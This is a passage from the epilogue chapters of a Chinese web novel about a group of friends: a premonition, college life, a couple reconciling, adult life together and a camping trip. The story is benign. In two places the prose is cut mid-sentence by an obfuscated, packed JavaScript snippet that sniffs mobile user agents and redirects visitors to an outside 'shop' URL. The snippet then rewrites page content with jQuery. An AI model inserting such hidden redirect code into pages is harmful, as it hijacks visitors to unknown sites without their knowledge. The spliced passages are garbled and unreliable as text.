两人走后,许兰亭眼神狐疑地盯着他哥看,总觉得刚才他哥看林听的眼神怪怪的,他不客气道:“哥,现在可以说了吧,什么事啊?我还要上课呢!” 怎么回事,总感觉要被偷家了! 许敬亭眼神微闪,伸手拉着许兰亭坐在了篮球场旁的长椅上,不远处那群非高三生收了篮球渐渐走远,“哥刚刚午睡,做了个噩梦……” 许兰亭:…… “……梦见你刚才打篮球摔断脖子,没了……”这句话,许敬亭说得艰难。 许兰亭先是觉得离谱至极,然而瞥见他哥眼底的痛苦和灰暗时,他愣住了,刚才他好像确实准备投篮,而且就他哥公司到一中的距离,要开车一个小时也就是说他哥至少在一个小时前就预料到他等会儿要打球…… 一种诡异至极的感觉袭上心头,他忍不住摸了摸自己的手臂,这会儿鸡皮疙瘩是真的起来了……他愣愣地,不知道该如何反应是好。 许敬亭说完那句话后便沉默着,好半响后他拍了拍兰亭的肩膀道:“吓到你了?” 许兰亭挠了挠后脑勺,支支吾吾道:“……是、是有一点啦。” “那哥不说了,但是你要答应我一件事,从今天起不要再碰篮球了,行吗?” “啊?”许兰亭有些不乐意,但他看着他哥,发现他哥的眼神不知道怎的,让他特别难受,所以他还是同意了,“那好吧。” 许敬亭再次拍了拍他的肩膀,“我送你回教室。” “哦。”走着走着,许兰亭忽然问道,“那……哥,在你的梦里,我没了之后,林听呢?林听她……” “很痛苦。我的梦只延续到十几年后,在我梦里的那十几年她都没有走出来。” 许兰亭沉默了,明知道只是梦,但他忽然觉得心上沉甸甸的,特别难受。十几年……多么漫长的时间啊,他到现在也才十七岁,还要排除幼年没记忆的那几年,他无法想象一个人带着另外一个人的回忆生活了十几年是一种什么样的体验。 “哥,我知道了,我不会再碰篮球的。” “嗯。进去吧。” 许敬亭一眼就看见了教室里林听正眼巴巴望着教室外的样子,他笑了笑,转身离开,这辈子你再也不会一见我就红了眼眶吧…… …… 129. 番外三(重生) - 高考最后一门科目结束的铃声响起,林听一身轻松地走出了考场,她刚下楼就看见不远处的许兰亭站在茂盛的榕树下向她招手。 林听眼底漫上笑意,飞奔着朝他跑过去,“兰亭!” 暖色的阳光晒得少年脸颊微红,许兰亭双眸闪烁着亮光,朝四周看了看,小声道:“林听,我和你说啊,我觉得我这次真的考得不错,感觉下笔如有神一样耶。华大应该稳了!” “真的??!!”林听开心不已,两个月前,陈恕和张期期纷纷离开了一中,兰亭的情绪受到影响,她其实很苦恼他成绩下滑的事。 “真的!”许兰亭挠了挠后脑勺,补了一句,“不过……要是是我的错觉的话,我没考上华大,那我就报华城的大学,我们同一个城市也可以了。” “嗯!”林听用力点头。 夕阳西下,晚霞满天。林荫大道上,少年少女肩并肩走着,忽然相视一笑。 不远处的湖面碧波荡漾,身后传来好友的呼唤声,“兰亭,林听,等一下我。”许兰亭、林听笑着回头,“先哥……快过来……” “来啦……” * 京照市今年的夏天格外炎热,知了在树上不停地鸣叫着,吵得人心头烦躁。 街角的一家冰室里,许兰亭、林听、周嘉先聚在一起有一搭没一搭地嗦着冰,距离华城大学开学还有三天,他们聚在一起商量着怎么去学校,哪一天去学校…… 很快,他们便敲定了一起坐哪一趟高铁前往华城,之所以选择坐高铁是因为林奶奶一个人在京照,林听不放心,所以她决定带着林奶奶一起去华城,而老人家年纪大了,坐飞机出行比较危险,怕不适应。 周嘉先调侃道:“……兰亭,你老实说你们家的地产是不是遍布全国啊,不然怎么林听一说要在华大附近租房子,你立刻就说自家在那附近有一栋住宅楼在出租。” 许兰亭啊了一声,挠挠头道:“我家的产业其实我也不太清楚,是我哥……他上次问我大学想住宿舍还是住学校外面?他说要是我想住学校外面的话,那附近就有一栋我们家的楼。” 周嘉先:…… 许兰亭笑着道:“那先哥,你要不要和我们一起住学校外面啊?我和林听住同一层,一层有三套房,你……” “不了,我想感受大学宿舍生活是什么样的。”周嘉先拒绝。 “那好吧……”许兰亭面露遗憾,又道:“也没关系反正我们都在同一个学校,有的是机会聚。” 说到这里,林听和周嘉先都沉默了,原本约好的五个人一起上华大,如今只有他们仨,陈恕不知怎地忽然又去了德国,而期期更是不知道去了哪里…… 他们俩已经从兰亭这儿得知了张家发生的事情,但现在没有谁能联系得上她。 三人面面相觑,终是叹了一口气,周嘉先道:“也不用太担心了,期期很聪明的,指不定哪天她就自己回来了呢,或者她还有可能去华大找我们……” …… 华城华大。 林听完全适应了大学生活,大学没有太多的条条框框,更多的是让学生自由地安排自己的时间,因此林听除了上课之外,剩余的时间不是用来兼职就是用来社会实践。 上完必修课,林听走出教室,许兰亭已经在教室门口等着她了,两人不是同一个专业的,但互相有对方的课表,没课的时候会一起去兼职,一起去社会实践…… “林听,我报了个社团,准备学习摄影,以后你去采访,我就给你扛摄像机,当你的专用摄像师怎么样?” 林听眉眼一挑,“你不从事你所学专业的对口工作吗?” 许兰亭无奈地捂住了脸,“你都知道我当时是被调剂的啊,我对物流管理没兴趣啊!还不如去给你扛摄像机呢。” “那敬亭哥肯定会有意见的吧?堂堂许氏地产的儿子居然来给我扛摄像机?”林听早不像以前那般自卑了,她现在也能像先哥一样调侃许兰亭的出身。 许兰亭笑了一声,“我哥对我的要求还是蛮低的,只要不做违法犯罪的事情,他都随便我的。” “那你加油!我未来的搭档!”林听笑着道。 “没问题!” 不远处,周嘉先正对着他们俩喊道:“还不快点,等你们俩很久了,再不快点,食堂该没位置了……” “好,来啦……” * 时光匆匆走过夏,翻过秋,又到了冬。寒假来临,许兰亭、周嘉先还有林听、林奶奶一起回了京照市。 京照市街头,今天是冬日里难得的艳阳天。 街道两旁张灯结彩,红丝带缠绕着树冠一圈又一圈。林听、许兰亭手牵手走在人行道上,不远处就是超市,这一次许兰亭是出来陪林听买年货的。 “等、等一下。”林听忽然脚步一顿,扯住了许兰亭的手臂,她小声道:“兰亭,你快看,那个人是不是陈恕?” 许兰亭一愣,抬眸望过去,还真是陈恕啊!他直接朝着陈恕的方向喊了一声,“陈恕!!”接着他牵着林听的手大步朝对方走过去。 陈恕愣了一下,循声望过去,见是许兰亭和林听,便微微笑了笑,站在原地等他们两人过来。 许兰亭一把将手臂搭在他的肩膀上惊讶道:“你回来啦,我前几天还在想都快过年了,不知道你会不会回来呢?” 陈恕微微扯了扯嘴角,没有接这句话,这座城市有着太多他无法忘却的回忆,但那个与他一起创造那么多回忆的女孩早就抛弃了他,是他,还不死心地回来,期望着能在这举家团圆的日子里偷偷地见一见她的面。 美国的街头他没找到她,那京照市呢,就算她跟着陆向川去了美国,那春节这样的日子她总会回来过年的吧?可是……他已经在她家附近闲逛了好几天,却始终没见到她。 多可悲啊陈恕,抛却自尊、努力地说服她,却仍然留不下喜欢的人。放下她、留下她,他一样都做不到。 他抿了抿唇,垂下眼帘遮住了眼底的晦涩不堪,生硬地转移话题道:“你们都考上华大了吧?华大怎么样?” 许兰亭笑呵呵道:“是啊!我跟你说啊,华大真不愧是国内顶尖学府,那环境……那……” 林听用手肘轻轻捅了他一下,许兰亭下意识哎呦一声,他疑惑地看向林听,林听瞪着他,许兰亭恍然大悟般拍了拍脑袋,“哦,差点忘了和你说期期的事情了,你还不知道吧……她……” “我知道,她去美国了。”陈恕神色冷淡地打断了许兰亭的话,他不想从别人的口中再次听到她抛弃了他,转而和陆向川一起去美国的事。 “啊?”许兰亭愣了一下,反问道:“期期什么时候去美国了,她没去美国啊!不过我也不知道她去了哪里就是了……” “你说什么?”陈恕豁然抬眼,目光犀利地盯着许兰亭。 许兰亭:??? 林听皱起了眉头,她立刻意识到陈恕和期期之间一定是有着什么误会,不然真的很难解释为什么忽然间陈恕就去了德国,而偏偏他们这些旁观者怎么也联系不上没有手机的陈恕…… “我不知道你和期期之间到底发生了什么,但是请你先听一听那段时间期期家发生了什么事,或许从这些事里你能搞清楚你和期期之间为什么会发生矛盾和误解。”林听认真道。 良久的沉默……陈恕最终点头道:“……好。” 三人找了间甜品店坐下,许兰亭熟练地点了林听喜欢吃的巧克力慕斯和酸奶,又示意陈恕点单,陈恕摇了摇头,他一点儿都不想吃,只想知道他们为什么那么说,期期到底发生了什么事,又为什么说期期没有去美国。 许兰亭见陈恕摇头便也不强求,给自己点了巴斯克蛋糕和乌龙茶,还让店员多上一杯温水给陈恕。 林听沉默了片刻,在脑海中整理了下语言,才开始低声讲起来。 期期的父亲出轨、母亲住院、父母离婚、母亲离开京照市远赴英国……她被锁在家里、不让她去上学参加高考,甚至将她的档案袋从学校拿了出来,想让她和陆向川联姻,强迫她去美国上学…… 而期期逃了出来,带着重要证件和档案袋离开了京照市,至今没有任何消息。 陈恕的脸色一变再变,他没有想到事情居然是这个样子的,此时他着急道:“现在都没有期期的消息,难道你们不报警吗?” 许兰亭沉默了片刻,改正道:“……是我们没有期期的消息,这不代表张叔叔不知道期期的消息,只不过张叔叔不愿意透露消息给我们,而且……” 他挠了挠后脑勺,“我们家现在和期期家的关系挺尴尬的。抱歉啊……不过我相信期期一定在哪个城市好好生活着。你放心……” 他声音越说越弱,因为对面的陈恕脸色越发阴沉了。 陈恕深深闭了闭眼,复又睁开,他拿起桌上的温水喝了一口,压抑下内心喷涌、躁动的情绪,冷静道:“……能和我讲讲期期的父母之间的事吗?”他有预感这将是他怎么都想不明白的那件事的回答。 这……林听看向一旁的许兰亭,道:“你说吧……” 许兰亭想了想,点头道:“……其实小时候我们圈子里,大家都很羡慕期期,因为她的爸爸妈妈感情特别好,在我们圈子里门当户对是很重要的……” “……” “……有点像灰姑娘加入豪门吧,并且在所有人不看好的情况下恩爱了快二十年……一个放弃了舞台事业、一个放弃了张家扩张的最好时机……” “……后来的事林听刚才都说了……反目成仇,互相怨恨对方……” 他明白了,陈恕心想,就是因为她父母的反目成仇,让曾经也为父母这段感情引以为豪的她彻底失望了,她不敢去承担别人人生的选择,生怕将来她和他也会落到像她父母一样互相憎恨的地步。 她接受不了,哪怕他如何自证,只要有一丝一毫的可能她都无法接受,所以她宁可推开他,也不愿意他为了她放弃他自己原本定好的路。 “期期,她会去哪里呢?”陈恕喉间哽咽,声音低哑。 林听、许兰亭都沉默了,他们也不知道,他们给期期的手机打了无数个电话都显示该号码已经暂停使用了,而□□上的消息也没有任何回复。 最后陈恕将自己的联系方式给了许兰亭、林听,周嘉先,“如果有期期的消息,一定记得告诉我。” “好,你放心吧……” * 除夕夜,阖家团圆的日子,整座城市变得更加拥挤,到处是人。璀璨烟火在天幕上仿佛永不停歇一样地绽放着。 陈恕提前了几天去给燕姨家拜年,拒绝了燕姨家的邀请,除夕夜是一家团圆的日子,他到底是个外人,也不习惯在人家团圆的日子里去掺合一脚。 以前租的房子也早就退租了,他这次回来也就呆几天而已,所以暂时住钟点房,白天就出去找找兼职做。好在因为年关在即,很多店家都缺人。 除夕夜是年夜饭的时间,今晚很多准备在年底赚一波钱的店家都关门打烊了,陈恕站在人潮汹涌的街头,不知该往何处走。 他忽然想起那一年的除夕夜,期期从宜市回来之后,在街上难得还开着的甜品店给他买了一个小蛋糕,草莓味的小蛋糕,那时她并不知道那一天也正好是他的生日吧…… 嗯……今天也是,生日快乐。陈恕在心中对自己说。 与此同时,另一边的鹿海市—— 橘黄色的暖灯下,室内显得温暖和安宁。 餐桌上摆放着丰富的菜肴,张期期咬着筷子眼眸带笑,“姥姥……就我们两个人而已,怎么还做这么多的菜色啊,都吃不完啊!” 姥姥笑道:“哎呦,过年就得有过年的样子。今年过年有你陪着我,姥姥可开心着呢!” 张期期闻言眼底闪过不安、忐忑,“姥姥,我妈妈她……” “不用管她,她乐意去做什么就去做什么,一把年纪了,能继续去追求曾经落下的梦想,就这点我是佩服她的。” 张期期一听,试探着问道:“……所以姥姥你不生气她不回来陪你吗?” 姥姥哼了一声,“我是生气她将年少时为之坚持的东西落下,让她的师傅在她身上倾注的心血全部白费,我不需要她陪我,我只想要她能凭借自己的能力再次高飞。” “她现在压力肯定比以前大,没有做出成绩前,她不会回来的。别看你妈妈温温柔柔的,她其实最固执、最犟了。” 张期期眼眸弯弯地听着,抱住了姥姥的手臂,“姥姥你真好……” 窗外烟火在天幕上炸开,张期期听到院子外很多小孩子在兴奋地尖叫着,新年快乐啊…… 烟火璀璨,她想起了与中国隔着七个小时时差的另一个国家,他是否也在过着春节…… * 凛冬去,早春来。 京照市举办了全国大学生美术展,鹿海市最有名的美术集训机构自然不会错过这个机会,让接下来准备美术联考、校考的集训生过来感受一下别人成熟、稳定的画风。 张期期从未想过她会这么快就再次回到京照市,飞机落地,踏上京照市这片土地时,过往的回忆像风一样呼啸而至,她的心中漫上了密密麻麻的酸胀,她忍不住红了眼眶。 “期期,你怎么了?”集训队的舍友吓了一跳,连忙问道。 其实她和张期期并不算关系很好,因为她总觉得张期期仿佛与他们所有人都隔着一层厚厚的壁垒一样,平时也很沉默,不怎么说话,倒是一直埋头学习、画画。 “没事。”张期期微微笑了笑,“谢谢你……” “啊,没事就好。”她干巴巴地道。 张期期与集训机构组织过来的同学一起参加了京照市举办的美术展,展览上每幅作品都让他们受益匪浅。 美术展一共三天,接下来的两天这些学生会和另外来参展的其他美术学院的学生进行美术上的交流。 人一多,张期期便觉得有些闷,她和带队的老师说了一声之后往美术展外面走,美术展就在京照一中附近。等她回过神来时,发现自己已经在一中校门口了…… 恰在这时,一中校门口的伸缩门忽然缓缓缩起来,门打开了,拐角处有说笑声传来,张期期下意识抬眸望过去,她在人群中撞上了他的视线后整个人浑身一滞。 陈恕!他怎么会在这里?他不是应该在德国吗? 张期期下意识转身就走,然而身后忽然有人追过来,对方死死攥住了她的手腕,“张期期。” 陈恕朝身后一中的教导主任和老师道:“老师,明天我会再来一趟的,现在有点事就先走了。不好意思。” 他这次是受学校邀请让他回来给这一届即将高考的学生讲述在国外大学的学习经历,以及如果准备申请国外的大学应该怎么去选择……这部分针对的是普通家庭想出国的学生,而不是非富即贵的国际班学生。 “好,那明天再联系。”教导主任点点头道。 身后的校门缓缓关上,陈恕紧紧地攥着张期期的手道:“跟我走。” 张期期挣扎了一下,“陈恕……” 两人僵持不下时,身后传来几声惊讶的呼唤声,“期期!陈恕!” 张期期、陈恕纷纷愣住,这……他们循声望过去,兰亭、先哥,还有林听……怎么都在这儿? 陈恕:“你们……你们不是应该在华城吗?” 许兰亭笑着道:“你为什么在这里,我们就为什么在这里!前阵子你不是说学校邀请你回来给学弟学妹们动员的吗?哈哈哈……好巧,学校也邀请我们仨了。” “嗯,给你个惊喜,所以没提前告诉你。”周嘉先笑着道,说着他忽然眼神意味深长起来,“不过,没想到真正的惊喜居然不是我们啊!” 他看向张期期,微抬下巴,“是不是啊?期期……好久不见。” 张期期眼眶微红,她也好久没见他们了,当时的她狼狈离开,原以为不会再回来了,可是她到底忍不住不回来,所以才没有拒绝集训队这次的活动。 “期期。”林听一个箭步跑到她的身前,挤开了陈恕、周嘉先、许兰亭,一下子抱住了张期期,“期期……好久不见,我很想你。” 张期期眼泪吧嗒一下子掉了下来,“我也很想你……林听。”想大家,想陈恕,她没想到这次居然能够和大家重逢,甚至连远在德国的陈恕都在这儿…… …… 一群人在学校门口哭哭啼啼的到底不好,许兰亭是开车来的,他将其他人全部轰上了车。林听就坐在副驾驶上。 后排的周嘉先:…… 他一边是陈恕,一边是张期期,坐在最中间的他左右为难,坐立不安。 许兰亭秉持着“今天不说清楚谁都不许离开”的决心,顶着酒店前台奇怪的眼神,一行人开了个单间。单间空间小,这下子谁都躲不开,面对着面必须给他聊清楚,有什么误会和矛盾都得说。 要不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061512|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林听拦着,他甚至要将张期期和陈恕关到只有一平方米的厕所,看他们怎么逃避! 周嘉先也拽住了许兰亭的手,连声道:“不至于不至于……” 酒店长长的走廊上,林听、许兰亭、周嘉先排排蹲,许兰亭道:“也不知道他们聊完没?” 周嘉先:“再等等……” 许兰亭不解:“等到什么时候?” 林听:“等到听见期期的哭声……” 后来,酒店房间的门咔哒一声,陈恕打开了房门,为了避免他们逃跑的林听、周嘉先、许兰亭蹲得腿都麻了,三人扶着墙站起来。 “说清楚了?”林听问道。 陈恕眼中闪过一丝尴尬,随后点了点头,他的身后,期期头抵在他的背上,双眼、脸颊都红红的。 许兰亭大笑一声,“你们的事情说开了就行……”接着他又故作阴渗渗的模样,“接下来,期期你得好好交代你这一年到底去哪儿了的事!” …… 张期期点了点头,有些羞愧,这一年让大家担心了,她从去年离开京照市的那一天讲起…… “我的手机弄丢了……后来换了手机号码……我一直想学画画的,我爸不同意……” “……现在在参加美术集训,这次过来也是因为……” “……接下来准备参加联考、校考……” 许兰亭听完,哈哈大笑着,“所以你现在算是复读高三了?哈哈,学妹你好……” “许兰亭!!!”张期期怒极,拿起床上的枕头对着许兰亭就是一阵殴打,林听、陈恕、周嘉先双手抱胸地看着,这种情景真是久违了啊…… * 京照市,安平住宅区。 张期期、陈恕拎着从超市买来的大包小包食材从电梯里走出来,一到家,两人就开始分工合作,洗菜切肉、摆放碗筷,将火锅汤底先煮起来…… 木木在张期期的脚边跑来跑去的,她生怕不小心踩着它,便先装了猫粮放在客厅让它先吃着,还开了一点小猫零食放在盘里子。 将木木打发走后,张期期双手环抱着陈恕的腰,脸贴在对方的后背上,“老公……” 陈恕炒菜的手一抖,他回过身来按着张期期的脑袋亲了一下她的额心,无奈道:“你先出去吧……你在这儿,等会儿兰亭、林听采访回来,我菜都还没炒好。” “那好吧……”她佯装委委屈屈准备走去厨房。 陈恕见状,把火关了,将人拉过来按着亲了一顿之后才放人走。 张期期满脸通红地逃出了厨房,她趴在沙发的背垫上,手心撑着下巴,透过厨房的磨砂玻璃门望着里面隐隐约约的陈恕的身影。 那年他们在京照一中的校门口重逢,迫于兰亭的“胡搅蛮缠”,他们终于说开了。 次年她考上了鹿海市美术学院,放假的时候她和陈恕都会回京照,兰亭、先哥、林听也会回来。偶尔她实在想他,便坐飞机去德国见他。 这场异国恋结束在陈恕毕业的那一年,他回国了,去了联合律所实习。 陈恕毕业的第二年,她也毕业了。 陈恕毕业的第三年,他和先哥一起创办了金颂律所,兰亭和林听成了业内有名的摄像师和记者,而她在经营她的个人账号,在网络上接单,画稿子。 陈恕毕业的第四年,律所名声渐起。 陈恕毕业的第五年,除了先哥之外,她和陈恕、林听和兰亭都结婚了,房子买在了当年大家约定好的那片荒地上建起来的商品住宅区。 …… 「你们说离谱不离谱?我哥居然问我,这片住宅区和商业大楼要不要用我的名字来命名?」 那日兰亭满脸匪夷所思地吐槽着,后来她听说敬亭哥专门找了个大师来算名,最终起名为“安平”,便也有了“安平住宅区”、“安平大厦”。 鼻尖闻到的香气越渐浓烈,窗外的天色渐渐暗了下来,张期期躺在沙发上举着手机刷着,一边嚷嚷道:“怎么先哥、林听他们还没下班啊?有这么多工作吗?” 话音刚落,周嘉先、林听、许兰亭便出现在门口,门口大大敞开着,刚才张期期和陈恕进门时因为手上拿了太多东西就没有关。 许兰亭一脸疲惫地揉了揉扛着摄像机后酸胀的胳膊和肩膀,熟门熟路地从玄关鞋柜里找出他们三人的拖鞋,“你这个自由职业者真是站着说话不腰疼啊!没那么多工作我们干嘛不下班!” 张期期从沙发上坐起来,尴尬地笑了笑。 周嘉先一边穿鞋一边皱着眉头道:“我早就想说你们了,期期,还有兰亭,你们俩总是不随手关门的,很不安全啊这种行为。” 许兰亭一屁股坐在沙发上大大咧咧地躺着,“安啦……我们的电梯卡都是只能刷我们这一层的,我们这一层就刚好我们三户,又没有别人,难道有人会走楼梯上二十七楼?” 周嘉先反驳道:“要是人家就住26楼,走楼梯上来的呢?同栋楼的业主也不能掉以轻心。” 许兰亭:…… 林听拍了一下他的腿,让他挪点位置给她,“就听先哥的,期期还有兰亭,你们记住了没?” “记住啦——”张期期、许兰亭异口同声。 陈恕听到说话声,拿着炒菜的铲子探出头来,他看了一眼瘫在沙发上的兰亭,靠在沙发上的林听,视线掠到了周嘉先的脸上。 周嘉先:…… 果不其然,下一秒陈恕便道:“先哥,过来帮帮忙……” 周嘉先“冷笑”一声,一边卷起白色衬衫的袖子,一边道:“陈恕,我没记错的话,你今天还没到点就下班了,需不需要我提醒一下你你今天的工作有些是我做完的。” 陈恕微笑,“是吗?那等一下你不用吃饭吗?” “你这家伙——”厨房里传来噼里啪啦的声音,张期期探头看过去,“不会打起来了吗?” 厨房的磨砂玻璃门被刷地一下子打开了,陈恕、周嘉先都笑得一脸“和善”,“怎么会。” …… 火锅汤底的香气弥漫开来,餐桌上摆放着切好的雪花牛肉、鱼肉片、墨鱼丸子、腐竹等等生的可以下火锅的食材,还摆放着麻辣小龙虾、蒜蓉凉拌青瓜、炸鳕鱼条等等小吃,各类的酱料调料也都放在小碟子上。 陈恕喊了一声,“可以开饭了……” 许兰亭跟诈尸一样猛地从沙发上爬起来,揽过林听道,“走走走,开饭了……” 张期期:……不是,开饭是你的开关键吗? 美味的食物、安全温馨的家、朋友、爱人都在身边,即便生活偶有疲倦、不如意,但他们仍然感觉幸福,他们举杯碰杯,“cheers”。 “cheers——” “哈哈哈,说到cheers,我突然想到那时候运动会,我们在操场喝葡萄糖水喝出了白酒的气势呢!”许兰亭说道。 “啊,别说了,好尬啊!”张期期抓狂道。 周嘉先忽然神神秘秘道:“我告诉你们一件事,你们都不知道的事。” “啊?什么事啊?”林听、陈恕、许兰亭、张期期看向他。 周嘉先佯装咳嗽,咳了几声,清清嗓子,“你们不知道吧?京照一中的贴吧吧主当年是我……” “啊???”众人惊讶不已,许兰亭质疑地看着他,“你确定?” 周嘉先笑着和善,他微微歪了歪头,语速超快道:“当年和你联系的人是我啊,那个校花校草的活动……” 许兰亭立刻道:“不许说!” “什么不许说?”林听微笑道。 陈恕、张期期、林听:“快说!” 周嘉先笑得温和,“虽然评选校花校草这项活动没有内幕,但一般来说是没有奖品的,所以……陈恕、林听,你们俩的自行车是兰亭赞助的。” 陈恕、林听看向许兰亭,许兰亭捂着脸承认了,“是我……” 林听笑了,“难怪呢,我居然会有幸运奖!” “那个没内幕的啊,是你运气好……我真没暗箱操作。 …… 他们一边吃吃喝喝,一边聊着以前的事,每个人的语气都充满怀念和眷恋,多好啊……一路走来,他们现在还在一起,就如同那年年少他们在漫天红霞下许下的约定一样,他们会永远永远在一起啊……一个都不少,一个都没有缺席年少青涩时的约定。 彼时年少,青春正好。 如今长大,未来可期。 …… 130. 番外三(重生) - 月上梢头,天幕上繁星点点。 明天是周六,陈恕、周嘉先、林听、许兰亭都不用上班,因此一行人转移阵地,换到了客厅,坐在客厅的毯子上围着茶几喝起了啤酒。 林听有些醉了,边喝边吐糟今天的工作,“我今天去采访了最近的新闻,真……那个人就是个人渣。” “人渣。”许兰亭附和道。 “真是个败类。”林听迷迷糊糊骂道。 “败类。”许兰亭再次附和。 “我都不知道自己为什么得去采访他,我明明想将重点放在其他人身上的,可偏偏主编和总监……”林听吐糟道:“算了,真烦人。” 周嘉先看着林听喝醉的模样,忍不住笑了起来,然而片刻后,他想到了什么,眼底泛上担忧,“你们这次的采访肯定动了一些人的蛋糕,最好得注意安全。” 许兰亭瞥了一眼已经快睡着的林听,低声道:“你放心,我身边跟着五个保镖,只是你们都不知道而已,这些保镖都是经验老道的退役特种军人。” 他炫耀道:“啧……我哥给安排的。” 周嘉先:……好吧,属实多余担忧了。 而另一边已经喝得醉醺醺的张期期突然开始说胡话,“甲方啊,你可真是我的爸爸,这不行那不行,你怎么不一次性说,改改改,改你个头……” 陈恕闻言,垂眸望着趴在他腿上快睡着的张期期,眼底忍不住露出了笑意,他朝周嘉先、许兰亭道:“我们家期期自由职业者也不容易的啊!” 许兰亭:…… “你是在介意我刚才说她站着说话不腰疼吗?我居然没发现啊,陈恕你这家伙心眼比针还小啊!” 陈恕很坦然地点头承认了,“下次别说我们家期期了……” 周嘉先:…… 在场还清醒着的许兰亭、周嘉先、陈恕又再喝了一轮,却不想喝到一半的时候,林听忽然闭着眼睛喊道:“今晚……我!要和……期期睡觉!我……不回去了。” 许兰亭大惊失色,那怎么行! 没想到半闭着眼睛已经快睡着了的张期期立刻举手,接上了林听的话,她打了个酒嗝,囔囔道:“好,我……也要和!林听!睡觉!” 陈恕面色剧变,这怎么可以! 许兰亭、陈恕面面相觑,忽然不约而同地起身,各自抱着自己的妻子溜了,唯独剩下单身的周嘉先和一室狼藉的厨房、客厅。 他深吸了一口气,认命地起身开始收拾起来,地要扫、垃圾要倒、桌面要收、碗要洗…… 一个小时后,周嘉先终于收拾完了,他熟门熟路地将客厅和厨房的灯关掉,走出了陈恕、张期期的家,关上房门。 张期期、陈恕的家对门就是许兰亭和林听的家,周嘉先看着大开的房门幽幽地叹了一口气,随手帮对方把门给关上了,最后他才踱步走回自己家里。 明天是周六,周嘉先从浴室中洗簌完出来后忽然想起上周大家说要一起去露营的事,露营啊……他看了一眼时间,现在时间还早,那他先收拾一些东西吧。 因为他是单身,所以那两对夫妻就丧心病狂地将很多东西都塞在了他的房子里,他收整着天幕、四向折叠式营地车、蓝牙音响、垃圾袋、铝合金蛋卷桌、克米特椅……吃的东西就明天大家一起去买吧…… 等收整完之后,周嘉先看着堆在客厅里的东西,陷入了沉默,这么多东西的吗……他抹了把脸,算了,等他结婚后,他就把这些东西统统扔回给他们。 结婚……好像他连对象都没有……这么一想,周嘉先更无语了。 …… 翌日,天清气朗,气温和煦,是个露营的好日子。 周嘉先起床后给他们几个人的群里发过去一个消息,见有人回应后,他开始洗簌,吃早饭,忙完之后就坐在客厅等着他的朋友们起床。 安静的房子里,周嘉先和一堆露营用具面面相觑,良久,他瞥了一眼墙上的时钟,额头青筋直跳。 忍不住了!他要过去敲门! 敲门声响起后,周嘉先听见他们屋内兵荒马乱、地板踩得砰砰响的声音,又返回了自己家的客厅坐着,不出十分钟估计就应该会出门了……嗯,他有经验。 果不其然,陈恕、张期期、林听、许兰亭就踩着十分钟这个点双双打开了家门,林听、张期期还睡眼朦胧着。 陈恕、许兰亭也熟门熟路地走进周嘉先的房子,“先哥,早上好啊……” 周嘉先哼笑一声,下巴微抬,示意他们搬东西,许兰亭一副奉承的样子麻溜地开始搬东西,“先哥,你放着,我来我来……” 陈恕:…… 因为东西很多,所以开了两辆车,周嘉先此刻变成了香饽饽,陈恕和张期期,许兰亭和林听都想让周嘉先上他们的车…… 嗯……让他当司机、开车…… 周嘉先:…… 闹了一番之后,周嘉先无奈地上了许兰亭和林听的车,陈恕这才明白为什么刚才许兰亭一副狗腿的样子。 陈恕:输了输了啊,他们那辆车兰亭和林听肯定在补眠了! 陈恕看了一眼还在满脸困倦的期期,笑着摸了摸她的发顶,低声道:“再睡一会儿,离超市还有一段路,我们今天要去东区那边的超市买东西……” 东区那边的超市啊……那还有一段距离,张期期点了点头,“到了超市叫我。”随后,她迷迷糊糊靠在椅背上就睡着了。 到了超市门口,陈恕才小声叫醒了她,许兰亭和林听精神奕奕地下了车,一行人或兴奋或困倦地开始逛起了超市。 许兰亭推着推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061513|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车推得飞快,跟难民扫荡一样,路过什么拿什么……周嘉先在他身后看得眼皮直跳,林听则是一脸纵容。 周嘉先叹了口气,“不要这么纵容他啊,我发现他结婚之后越来越不靠谱了啊!” 林听微笑着,轻描淡写道:“先哥,我也不知道为什么啊,总觉得现在的生活来之不易,不舍得苛责他啊,都是小事情……他爱怎么样就怎么样吧。” 周嘉先听得一脸肉麻:“……得,我白说。”他决定离他们远一点,去挑点切好的水果。 陈恕和张期期则是慢慢推着单车,昨天晚上她睡到一半,那个该死的甲方又打电话给她,让她改一下画,要不是对方给的太多了,她真是要撂电话的,也因为接了电话之后刚好有灵感,所以连夜起来改了改。 “我都说昨天晚上你先睡,不要陪我了嘛,现在你也没什么精神。”张期期靠着陈恕边走边说。 陈恕在挑着酸奶,闻言笑了笑,“没事,我其实还好,早上也睡了四个小时。这次露营大家都说了那么多次了,先哥东西都准备好了,不能老是坑先哥啊!” “嗯,其实我也很想出来透透气的,找找灵感。”张期期笑道。 从超市出来后,一行人来到了京照市有名的露营区。因为是周末,所以露营区也不止他们一行人,不过露营地区很大,所以各自都自觉地隔了一段距离,不去打扰到别人…… 青草翠绿,耀眼的阳光被头顶茂盛的树木遮挡住,只落下细碎的光斑,不远处流水声潺潺,清浅的小溪边小孩子在欢声笑语着。 周嘉先、陈恕、许兰亭将通风透气的天幕安装好,凳子摆出来给大家坐,桌子上放着他们从超市买来的零食、水果、饮料、小蛋糕等等…… 空气中传来青草的味道,微风和煦,他们觉得心都安宁又平静了。 张期期脸上露出惬意的笑容,她从车上搬下来一个画架和背包,包里放着作画的东西,一副兴致勃勃准备挥笔泼墨的样子。 周嘉先:…… “我好像没收拾这些东西吧?” 陈恕笑了笑,“我准备的。” 